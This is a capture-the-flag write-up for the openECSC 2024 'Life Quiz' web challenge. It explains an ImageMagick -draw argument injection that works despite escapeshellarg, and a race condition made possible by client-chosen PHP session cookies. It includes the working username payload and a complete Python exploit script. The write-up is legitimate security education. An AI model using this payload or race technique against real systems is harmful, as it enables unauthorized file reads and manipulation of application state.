HOMEOPENECSC ROUND 1 WRITEUP
HOME
OPENECSC
ROUND 1
WRITEUP

// [web] Life Quiz (33 solves)

// Writeup author: @Ricy
// Challenge author: @Xato

Challenge description

Try out our quiz to win a incredible prize!

Site: http://lifequiz.challs.open.ecsc2024.it

Table of contents

Overview

Terminology

  • Flag: the goal of the challenge, a string that is usually in the format flag{...}, in our case the format is openECSC{...}
  • SQLi: SQL injection, a vulnerability that allows an attacker to execute arbitrary SQL queries in the database
  • Path Traversal: a vulnerability that allows an attacker to access files outside the intended directory
  • Command Injection: a vulnerability that allows an attacker to execute arbitrary commands

Summary

The challenge provided us with a website in PHP that allowed us to:

  • register with an username and email, it will then set a random password for us and send it to the page after successful registration
  • login with the username and password
  • play a quiz with 15 rounds of questions, each question has 4 possible answers, only one is correct, and it is calculated pseudo-randomly in the server, for each request independently, with the array_rand function from the possible answers. The possible questions were composed of 5 items, thus repeating 3 times the same question. If you answer correctly you get 1 point, if you answer incorrectly you get 0 points.
  • If you get 15 points you can visit the /get_prize.php page, which will give you a prize, the prize is an image with a custom text in it, and the text is generated with the convert command from ImageMagick, and the text is the username of the user that is logged in.
  • If you have less than 15 points but answered all the questions, you cannot continue the quiz and can only visit /reset.php to reset the quiz and start again from question number 1.

Solution

Source code analysis

The flag (our goal) is in the /prizes/flag.jpg file. From the Dockerfile we can guess, even without ever seeing the convert command before, that it is generated using the trophy.jpg file as a template using:

RUN convert -draw 'text 0,1219 "flag{test_flag}"' -pointsize 60 -gravity Center /trophy.jpg /prizes/flag.jpg

Having in mind our goal, let us analyze the source code to see if we can find any vulnerabilities that can lead us to the flag.

We can find potential SQLi or path traversal attacks on the $_SESSION['user'], in many places, for example:

# get_prize.php - 13:16 ... 13: $user = $_SESSION['user']; 14: 15: $sql = "SELECT * FROM users WHERE id = '$user'"; 16: $result = $conn->query($sql); ...

or

# trophy.php - 10-13 ... 10: $user = $_SESSION['user']; 11: 12: if (file_exists("/prizes/$user.jpg")) { 13: readfile("/prizes/$user.jpg"); ...

Unfortunately, though, it is not controlled by us since it is a random id generated by the server after registering.

# login.php - 53 ... 53: $id = bin2hex(random_bytes(16)); ...

Also there is potential SQLi on the email during registering, since it is not put in a prepared statement (only password and username are).

# login.php - 56:58 ... 56: $sql = "INSERT INTO users (id, email, username, password) VALUES ('$id', '$email', ?, ?)"; 57: $stmt = $conn->prepare($sql); 58: $stmt->bind_param('ss', $_POST['username'] , $password); ...

But, again: nope. There is a check with preg_match at the beginning on the email field that doesn't allow us to SQLi. All these could have potentially leaded us directly to the flag.

Another weird stuff is in the get_prize.php file.

# get_prize.php - 10:12 ... 13: $conn = db_connect(); 14: $user = $_SESSION['user']; 15: 16: $sql = "SELECT * FROM users WHERE id = '$user'"; 17: $result = $conn->query($sql); 18: if ($result->num_rows > 0) { 19: $row = $result->fetch_assoc(); 20: $question_id = $row['question_id']; 21: $points = $row['points']; 22: $username = $row['username']; ... 31: if ($points < $PRIZE_POINTS) { ... 33: } else { ... 35: if ($question_id != -1) { 36: 37: // Print the prize 38: $cmd = "convert -draw " . escapeshellarg("text 0,1219 \"$username\"") . " -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &"; 39: echo system($cmd, $retval); ...

To sum up, it takes the user id from the session, then it gets the user from the database, and if the user has more than 15 points, it will print the prize with the username of the user in it.

The interesting thing is that it uses the system function, that allows us to execute commands in the system.

# get_prize.php - 38:39 ... 38: $cmd = "convert -draw " . escapeshellarg("text 0,1219 \"$username\"") . " -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &"; 39: echo system($cmd, $retval); ...

Usually, it is not recommended to use the system function, since it can lead to command injection vulnerabilities.

Here the problem is that even though the username is escaped with escapeshellarg, from the PHP doc:

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument

this only protects from injecting commands, but not from injecting parameters to the command. Let us break it down:

The escapeshellarg will put single quotes around the string text 0,1219 "$username" and will escape any single quotes in the string.

We can control the $username variable so the command that the system will run will be something like this:

convert -draw 'text 0,1219 "<our_input>"' -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &

Treating it effectively as a string. We cannot inject commands like ${ls} or `ls` since they will be treated as string and not commands. But we can inject parameters, opening and closing the " as much as we like, or add some other text, which could potentially alter the behavior of the convert command. To understand if this is feasible we need to look up the convert command from ImageMagick, and especially the -draw option.

Command injection

After some time googling, I found that the convert command from ImageMagick is a tool that allows us to manipulate images in many ways. Our interest lays on the draw option since it is the one injectable. From the documentation of the -draw option we get:

Annotate an image with one or more graphic primitives.

Use this option to annotate or decorate an image with one or more graphic primitives. The primitives include shapes, text, transformations, and pixel operations.

So we can put more than one graphic primitive in the image, that looks promising.

But what are those graphic primitives? The fastest way in this case is to look at examples and trying to figure out what we can do with them.

We can find an example of using two primitives (text, and rotate) in the documentation above:

-draw "rotate 45 text 10,10 'Works like magick!'"

Meanwhile, the convert command we want to inject uses the text graphic primitive, which allows us to draw text in the image. The text primitive is defined as:

text x0,y0 string

which it takes the coordinates x0 and y0 and the string to print in the image.

The problem is that since escapeshellargs doesn't escape the double-quote ("), we can inject more graphic primitives after the text primitive.

So the draw option in the command, if we use for instance the username

abc" other-primitive "somestring

the command will be executed as follow:

convert -draw 'text 0,1219 "abc" other-primitive "somestring"' ...

Which looks perfect to us, now it is the time to find a primitive that can help us to read the flag file.

The primitive that immediately attracts our attention is the image primitive that is defined as follow:

image operator x0,y0 w,h filename

and gives us an example that catches our interest:

Use image to composite an image with another image. Follow the image keyword with the composite operator, image location, image size, and filename: -draw 'image SrcOver 100,100 225,225 image.jpg'

This looks exactly what we were looking for, continuing this path we can see in the documentation what the SrcOver operator does:

src-over - The source is composited over the destination. this is the default alpha blending compose method, when neither the compose setting is set, nor is set in the image meta-data.

Perfect! We can now read the flag file and print it in the image. We can set the username as something like this:

abc" image SrcOver 0,0 4000,4000 "/prizes/flag.jpg

(4000, 4000 is the width and height of the image, we can set it to any value, it doesn't matter)

Buuuut, not quite. We have a limit on the number of characters we can use, indeed, from the init.sql file:

# init.sql 2-4 2: CREATE TABLE users ( ... 4: username VARCHAR(36) NOT NULL, ...

So we have only 36 characters available. Right now our solution is 50 characters long, so we need to find a way to shorten it.

After some tests locally we can find we don't need the space at the beginning of the string, we can have the text to be empty (no need to write abc) and we can also set 0,0 as height and width, having the username become something like this:

"image SrcOver 0,0 0,0 "/prizes/flag.jpg

It is still 40 characters long, so we need to find a way to shorten it more.

Let us look at the documentation to see if we can find another operator that is shorter than SrcOver and works the same way.

Indeed, we can find the src operator defined as follow

The source is copied to the destination. The destination is not used as input, though it is cleared.

that works for us as the same as SrcOver (or src-over) but it is shorter, so we can use it and the new payload will be:

"image src 0,0 0,0 "/prizes/flag.jpg

which is exactly 36 (Is it a coincidence? I don't believe so)

Getting 15 points

We now have the command injection on the username ready, we need to register with the username as the payload found before, play the quiz, and get 15 points to trigger the command injection when getting the prize.

The main concern is that the correct answer is pseudo-randomly generated, independently for each request. We need to find a way to get 15 points, other than being very, very lucky.

This is where I lost many, many hours. Some ideas I had were:

  • The array_rand function is not cryptographically secure, so it should be possible to predict the next number having enough numbers from the sequence. The issue is that, unfortunately, we are not the only ones trying to get the flag so we are not sure that the sequence we get it is truthy, and also we do not want to make too many requests.
  • Race condition: Looking at the quiz.php file, we can see that the way it manages the points and the question_id is not proper:
# quiz.php - 13:94 ... 13: if (!isset($_SESSION['user'])) { ... 17: } else { 18: $user = $_SESSION['user']; 19: 20: // Get the current question 21: $sql = "SELECT * FROM users WHERE id = '$user'"; 22: $result = $conn->query($sql); 23: if ($result->num_rows > 0) { 24: $row = $result->fetch_assoc(); 25: $question_id = $row['question_id']; 26: $points = $row['points']; 27: $username = $row['username']; 28: } else { ... 33: } ... 70: // If the user has submitted an answer, check if it is correct 71: if (isset($_POST['answer'])) { ... 76: $question_id++; 77: if ($answer === $correct_answer) { ... 80: $sql = "UPDATE users SET points = points+1 WHERE id = '$user'"; 81: $conn->query($sql); 82: } else { ... 84: } ... 93: $sql = "UPDATE users SET question_id = $question_id WHERE id = '$user'"; 94: $conn->query($sql); ...

There are here three queries that are executed when the user answers a question. Let us call them Q1, Q2, and Q3. First, it retrieves info about the user, taken from the session (Q1), such as the current question_id (current question number counter), and the current points. Secondly, it sets the points as points=points+1 (Q2) and, finally, it sets the question id as question_id=$question_id (Q3) as the local php variable previously incremented by 1.

Looking at these in the context of race conditions, we can see, for example, that if we send two requests: let them be A and B, at the same time, the server may interleave the order of each query.

Interleaving queries from different requests can lead to unexpected behavior, and in this case, we can exploit it to get more points than we should.

A possible interleaving order of execution of the queries could be:

A.Q1 -> B.Q1 -> A.Q2 -> B.Q2 -> A.Q3 -> B.Q3

The points will be incremented by 2 (if the answer is correct in both requests), but the question_id will be set to the same value, thus if we can send more requests answering the same question_id, we could potentially have the points increased by one for each request, while the question id set only by plus one.

Notice that any combination of the queries executed by the server for us is fine as long as the Q1 (retrieving user info from db) for each request is executed before the Q3 of any requests (since the Q3 is the one that sets the question_id).

Sounds like a plan, right? The only issue is the way sessions are handled in PHP, sessions in PHP are locked, so we cannot have the same session run two (or more) files at the same time.

Locks are a way to prevent race conditions, which is what we would like to exploit. What will happen is that if we have two requests with the same session, the first one will "acquire the lock", the second request will wait until the lock is "released", that is when the first request is finished. Exactly what we don't want.

After many hours trying to get other ideas, even excluding the race condition itself, which lead me to many rabbit holes, I dropped by the cookie attack session of Hacktricks:

Extra Vulnerable Cookies Checks - Basic checks

  • The cookie is the same every time you login.
  • Log out and try to use the same cookie.

In PHP the session is handled with the PHPSESSID cookie. It is the cookie that contains the session id, and the server uses it to identify the user.

Thus, after these check I realized that the server was not setting the cookie for me, but I was the one controlling it. Indeed, I could log in with the same credentials, but with different cookies! This meant that I could have multiple sessions that represented the same (single) user, having multiple sessions meant no session locking, and thus I could trigger the race condition talked before!

Winning the race

After some time to code the script, I tried first locally to see if it worked, and it did! I was sending 4 requests at a time, from 4 different sessions, and were able to get 15 points always after around 12 rounds, then I was able to visit the trophy.php page and get the flag.

I then tried to run it on the remote server, but I had many issues with latency, the main obstacle was that I was not able to make the server handle the requests at the same time. So it happened that the Q1 of some requests were executed after the Q3 of other requests. Thus, leading to increasing the question_id more times that I wanted.

Race window

When trying to win a race condition, the period of time during which a collision is possible is known as the "race window", and we would like the window to be as large as possible. The issue was that the window was too small. The window in this race was the time that it took for the server to execute from the Q1 to the Q3 of a request.

Usually, there are ways to increase the window, for example, by making the server do more work, or by making the server wait for some time, or by making the server do some heavy computation inside the desired window. But in this case, even if probably there were, I was not able to find ways to increase the window.

Thus, excluding increasing the race window, my plan was to increase as possible the number of requests I was sending, and make them concurrent on a lower level (I was using threads in python).

I found this python library called requests-racer

Requests-Racer is a small Python library that lets you use the Requests library to submit multiple requests that will be processed by their destination servers at approximately the same time, even if the requests have different destinations or have payloads of different sizes.

Having to change the script to use this library, I was able to send many requests at the same time, and after some trials, ending up sending 100 requests at the same time, and I was able to get 15 points. Thus after visiting the trophy.php page:

flag

Exploit

Here you can find my exploit scripts, have fun replicating it!

import requests from pwn import * # I have cloned the requests_racer repo from github # Followed the instructions in the README.md to install the library # and have the folder inside the current directory of this script from requests_racer import SynchronizedAdapter # See documentation of the library to understand how to use it sync = SynchronizedAdapter() # Taken from source code answers = [ ['42', 'There is no meaning', 'To be happy', 'To help others'], ['To express emotions', 'To make money', 'To make people think', 'To make people happy'], ['To be free', 'To be rich', 'To be healthy', 'To be happy'], ['Yes', 'No', 'Maybe', 'I don''t know'], ['In the city', 'In the country', 'In the mountains', 'In the beach'] ] username = "\"image src 0,0 0,0 \"/prizes/flag.jpg" email = "verycoolwithoutatemaildotcom" password = None login_path = '/login.php' register_path = login_path quiz_path = '/quiz.php' reset_path = '/reset.php' prize_path = '/get_prize.php' is_remote = False if args.REMOTE: is_remote = True url = 'http://lifequiz.challs.open.ecsc2024.it/' else: url = 'http://localhost:8000' # solved with THREADS=100 no_of_sessions = 4 if args.THREADS == '' else int(args.THREADS) sessions = [] points = 0 index = 0 def mount_sessions(): global sessions global no_of_sessions global sync for i in range(no_of_sessions): s = sessions[i] s.mount('http://', sync) s.mount('https://', sync) def init_sessions(): global sessions sessions = [] for i in range(no_of_sessions): s = requests.Session() session_cookie = 'veryverysecretsessionid' + str(i) s.cookies.set('PHPSESSID', session_cookie) sessions.append(s) def get_password(): # get password from file password.txt if is_remote: filename = f'remote-password.txt' else: filename = f'local-password.txt' with open(filename, 'r') as f: return f.read().strip() def set_password(p): global password # save password to file password.txt if is_remote: filename = f'remote-password.txt' else: filename = f'local-password.txt' with open(filename, 'w') as f: f.write(p) password = p def register(i): global sessions global username global email s = sessions[i] if s == None: print('No session') raise Exception('No session') data = { 'username': username, 'email': email } r = s.post(url + register_path, data=data) if r.status_code != 200: print(r.status_code) print(r.text) return # find password in <div class='alert alert-success'>User created! Your password is \"$password\"</div> t = r.text if 'Email already registered' in t: print('Email already registered') if 'alert alert-success' not in t: print('No alert success') print(t) return t = t.split('alert alert-success')[1] t = t.split('Your password is')[1] t = t.split('</div>')[0] password = t.split('"')[1] print('Password is ' + password) set_password(password) return password def login(i, email = email, password = password): global sessions s = sessions[i] if s == None: print('No session') raise Exception('No session') data = { 'email': email, 'password': password } r = s.post(url + login_path, data=data) if r.status_code != 200: print(r.status_code) print(r.text) return # print(r.text) def authenticate(index = None): global password global email if index != None: # authenticate single session try: password = get_password() except: register(index) finally: login(index) else: # authenticate all sessions try: password = get_password() except: password = register(0) finally: for i in range(no_of_sessions): login(i, email=email, password=password) def reset(i): global sessions global index s = sessions[i] r = s.get(url + reset_path) if r.status_code != 200: print(r.status_code) print(r.text) return index = 0 print(f'[s{i}] Reset done') def make_get_points(i): global sessions s = sessions[i] r = s.get(url + prize_path) return r def handler_get_points(r, i): global points t = r.text if 'You have' in t: points = t.split('You have ')[1].split(' points')[0] # print(f'Points: {points}') return int(points) elif 'Error getting your prize' in t: print('Error in getting PRIZE') return 15 elif 'Your prize is ready, ' in t: print('Your prize is ready') return 15 else: print('Error while getting points') print(t) raise Exception('Error while getting points') def make_answer_quiz(answer, i): global sessions s = sessions[i] data = { 'answer': answer } r = s.post(url + quiz_path, data=data) return r def handler_answer_quiz(r, i, answer): global answers global index t = r.text if 'Correct' in t: # Get questio number from <h3 class='mb-3'>Question 5</h3> question = t.split('Question ')[1].split('</h3>')[0] print(f'[s{i}][+1] Correct [question no. {question}] {answer}') elif 'Incorrect' in t: # Get questio number from <h3 class='mb-3'>Question 5</h3> question = t.split('Question ')[1].split('</h3>')[0] print(f'[s{i}][0] Incorrect [question no. {question}] {answer}') correct_answer = t.split('The correct answer was: ')[1].split('</p>')[0] print(f'Correct answer: {correct_answer}') elif 'No question found' in t: print(f'[s{i}][?] No question found') elif 'You answered all the questions' in t: print(f'[s{i}][X] You have already answered all questions') elif 'Congratulations' in t: print(f'[s{i}][!] Congratulations') else: print(t) def make_get_current_index(i): global sessions s = sessions[i] r = s.get(url + quiz_path) return r def handler_get_current_index(r, i): t = r.text if 'Question' in t: question = t.split('Question ')[1].split('</h3>')[0] q = int(question) return (q-1) % 5, q # 5 questions per round else: print('No question found') raise Exception('No question found') def make_get_session_cookie(i): r = make_get_points(i) return r def handler_get_session_cookie(r, i): global points global sessions points = handler_get_points(r, i) print(f"[{points}pts] session[{i}] = {sessions[i].cookies}") def solve_quiz(): global answers global index global sync global points mount_sessions() # for all rounds (3) for i in range(3): # for all sets of answers (5) for k in range(len(answers)): r = make_get_points(0) sync.finish_all() points = handler_get_points(r, 0) if points >= 15: print('Already won') return else: print(f'Points: {points}') sleep(1) r = make_get_current_index(0) sync.finish_all() [index, count] = handler_get_current_index(r, 0) print(f'Current index/count: {index}/{count}') responses = [None]*no_of_sessions actual_answers = [None]*no_of_sessions # for each answer, make multiple requests in parallel in different sessions for j in range(no_of_sessions): round_answers = answers[index] answer = round_answers[(i+2)%len(round_answers)] actual_answers[j] = answer responses[j] = make_answer_quiz(answer, j) sync.finish_all() for j in range(no_of_sessions): a = actual_answers[j] r = responses[j] handler_answer_quiz(r, j, a) index = (index + 1) % len(answers) count = k+1+i*len(answers) def exploit(): global points global sync random_sleep = 30 # default 30s init_sessions() print("initiated sessions") authenticate() res = input("Reset points?") if res.lower() == 'y': reset(0) print('Reset done') else: print('No reset') try: while points < 15: try: # resetting points solve_quiz() except Exception as e: print(e) reset(0) random_sleep = random.random()*60 finally: if points < 15: # slowing down the requests to not ddos the server print(f'Sleeping for {random_sleep:.2f} seconds') time.sleep(random_sleep) print('Won') except KeyboardInterrupt: pass except Exception as e: print(e) finally: print('Exiting...') r = make_get_session_cookie(0) sync.finish_all() # print session cookie handler_get_session_cookie(r, 0) if __name__ == '__main__': exploit()
// Attachments
python3//exploit.pyDownload download file
exploit.py9 kb